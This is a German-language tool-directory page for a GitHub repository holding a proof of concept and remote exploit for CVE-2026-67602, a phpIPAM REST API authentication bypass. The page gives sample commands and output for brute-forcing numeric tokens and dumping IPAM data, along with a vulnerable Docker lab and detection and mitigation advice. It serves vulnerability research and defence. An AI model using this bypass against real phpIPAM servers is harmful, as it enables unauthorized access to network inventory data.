Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass — Exploit und PoC für CVE-2026-67602, eine Authentifizierungsumgehung in der phpIPAM REST API über eine Objekt-Cache-Schlüsselkollision, einschließlich eines Logik-Level-PoC und eines Remote-Exploit-Skripts. | Kitploit
Tools/GitHubGitHub/hunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsAuthentifizierungAPI-Sicherheit
GitHubhunt-benito/the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

the-token-was-a-row-number-cve-2026-67602-phpipam-rest-api-authentication-bypass

Exploit und PoC für CVE-2026-67602, eine Authentifizierungsumgehung in der phpIPAM REST API über eine Objekt-Cache-Schlüsselkollision, einschließlich eines Logik-Level-PoC und eines Remote-Exploit-Skripts.

Repository anzeigen
vor 0 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-67602 — phpIPAM < 1.8.2 REST API Authentifizierungs-Bypass

Nicht authentifizierter Authentifizierungs-Bypass in der phpIPAM REST API, verursacht durch eine Kollision im Objekt-Cache: Die Datenbankzeile, die beim Auflösen der app_id einer API-App zwischengespeichert wird, erfüllt die anschließende app_code- (Token-) Prüfung, sofern das übermittelte Token der numerischen id der Zeile entspricht. Das tatsächliche Geheimnis der App wird nie verglichen.

  • CVE: CVE-2026-67602
  • CVSS 4.0: 9.3 Kritisch (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)
  • CWE: CWE-706 (Verwendung eines falsch aufgelösten Namens oder Verweises)
  • Betroffen: phpIPAM vor 1.8.2, REST-API-Apps mit app_security = ssl_code
  • Behoben: phpIPAM 1.8.2 (Commit d29728f)
  • Advisory: https://www.vulncheck.com/advisories/phpipam-authentication-bypass-via-rest-api-object-cache

Inhalt

DateiZweck
poc_cache_collision.phpPoC auf Logik-Ebene. Führt die wörtlichen verwundbaren (v1.8.1) und behobenen (1.8.2) fetch_object/cache_check/cache_write-Implementierungen gegen eine gestubbte Datenbank aus und spielt die exakte Fetch-Sequenz einer einzelnen HTTP-Anfrage nach. Keine phpIPAM-Installation erforderlich.
exploit.pyRemote-Exploit gegen eine laufende phpIPAM-Instanz < 1.8.2: Ermittelt gültige app_ids (400 vs. 401), brute-forct das numerische Token (üblicherweise id 1-3) und gibt optional Sections/Subnets/VLANs/Geräte aus.
docker-compose.ymlVerwundbares Labor: phpIPAM v1.8.1 + MariaDB, einfaches HTTP mit IPAM_TRUST_X_FORWARDED=true, sodass ssl_code-Apps über den X-Forwarded-Proto-Header getestet werden können.

1. PoC auf Logik-Ebene (kein Server erforderlich)

root@kitploit:~
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client')  -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id  ->  AUTHENTIFIZIERT

$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Antwort: 401 Unauthorized — Token abgelehnt

2. Live-Reproduktion in Docker

root@kitploit:~
$ docker compose up -d
  1. Rufen Sie http://localhost:8080/ auf und fahren Sie mit dem Installationsprogramm (http://localhost:8080/install/) fort. Wählen Sie Automatische Datenbank- installation, MySQL-Benutzer root / Passwort phpipamAdminRoot.
  2. Melden Sie sich an (admin / admin) und setzen Sie bei Aufforderung ein neues Admin-Passwort.
  3. Erstellen Sie die API-App: Administration → API-Verwaltung → neu:
    • Anwendungsname (app_id): client
    • Sicherheit: API-Code (ssl_code)
    • Berechtigungen: Lesen / Schreiben / Löschen
  4. phpIPAM generiert einen zufälligen 32-stelligen Anwendungscode. Sie müssen ihn nicht kopieren — das ist der Kern des Fehlers.

Führen Sie den Exploit aus (das --xfp-Flag erfüllt die HTTPS-Prüfung über X-Forwarded-Proto, dem das Labor vertraut):

root@kitploit:~
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Ziel: http://localhost:8080
[*] Brute-Force numerischer Tokens (Zeilen-IDs) 1..64 für app_id='client'...
[+] AUTHENTIFIZIERUNG UMGANGEN — phpipam-token: 1 wird akzeptiert
[+] Der echte 32-stellige app_code der App wurde nie benötigt.
[+] GET /api/client/sections/ -> HTTP 200, 1 Section(s) lesbar
[*] IPAM-Daten werden ausgegeben...

3. Erkennung & Abhilfe

  • Upgrade auf phpIPAM 1.8.2 oder neuer. Der Fix schlüsselt den Objekt-Cache sowohl nach Suchspalte als auch nach Wert (Commit d29728f).
  • Bis zum Upgrade: Deaktivieren oder neu konfigurieren Sie ssl_code-API-Apps (andere Sicherheitsmodi sind von dieser Cache-Kollision nicht betroffen).
  • Prüfen Sie Ihre Webserver-/phpIPAM-Logs auf Anfragen an /api/<app_id>/... mit einem rein numerischen phpipam-token-Header — legitime Tokens sind 32-stellige Zufallszeichenfolgen, daher sind numerische Tokens ein hochpräziser IOC.
  • Rotieren Sie API-Anwendungscodes und Benutzer-Tokens, falls eine Offenlegung vermutet wird.

Verantwortungsvolle Nutzung

Dieses Repository dient ausschließlich defensiver Forschung und autorisierten Penetrationstests. Führen Sie es nur gegen Systeme aus, die Ihnen gehören oder für deren Test Sie eine schriftliche Genehmigung haben.

Tool herunterladen